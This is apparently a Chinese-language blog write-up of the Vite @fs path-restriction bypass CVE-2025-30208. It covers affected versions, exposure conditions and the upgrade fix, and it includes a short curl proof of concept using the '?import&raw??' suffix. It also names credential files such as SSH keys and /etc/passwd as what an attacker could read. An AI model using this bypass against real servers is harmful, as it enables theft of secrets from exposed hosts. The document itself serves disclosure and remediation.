漏洞描述
最近 vite 暴露了一个新的安全漏洞 CVE-2025-30208 , 漏洞于 2025-03-24 发布。
其在 6.2.3
、6.1.2
、6.0.12
、5.4.15
和 4.5.10
之前的版本中存在漏洞。原生的 @fs
功能应禁止访问 允许列表
之外的文件,但通过在URL中添加 ?raw??
或 ?import&raw??
参数可绕过此限制,返回指定文件内容1。
PoC 很简单 2:
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
由于我自己的项目 vite 版本也比较旧,也成功复现了,就不贴图了。
影响范围
受影响版本范围 | 修复版本 |
---|---|
< 4.5.10 | 4.5.10 |
>= 5.0.0, < 5.4.15 | 5.4.15 |
>= 6.0.0, < 6.0.12 | 6.0.12 |
>= 6.1.0, < 6.1.2 | 6.1.2 |
>= 6.2.0, < 6.2.3 | 6.2.3 |
核心问题
这个漏洞需要满足 使用--host
参数或配置server.host
选项时 才会生效,所以是一个危险性相对中等的漏洞,通常会在内网环境下出现问题(比如你需要和后端联调时,暴露一个测试环境给后端一起用)。
而能够访问任意文件的主要安全隐患在于绝大部分文件的敏感信息通常是不设防的放置在某些固定的目录,常见的比如:
- ssh 密钥
- ~/.ssh/id.pub
- ~/.ssh/id
- 密码
- /etc/passwd
如果不幸的在某个服务器上部署了(相信没人会在服务器上跑 vite),那么相当于整个服务器都不设防的暴露在公网上了。
处理方案
升级至 6.2.3
、6.1.2
、6.0.12
、5.4.15
和 4.5.10
以上版本都已经修复该问题。
属于一个不太能利用的漏洞,攻击复杂度高,且危险一般,具有特定攻击要求,所以危险程度评分 5 分也是情理中。
脚注
-
需要文件存在 ↩
-
server.fs.deny bypassed when using
?raw??
, https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w ↩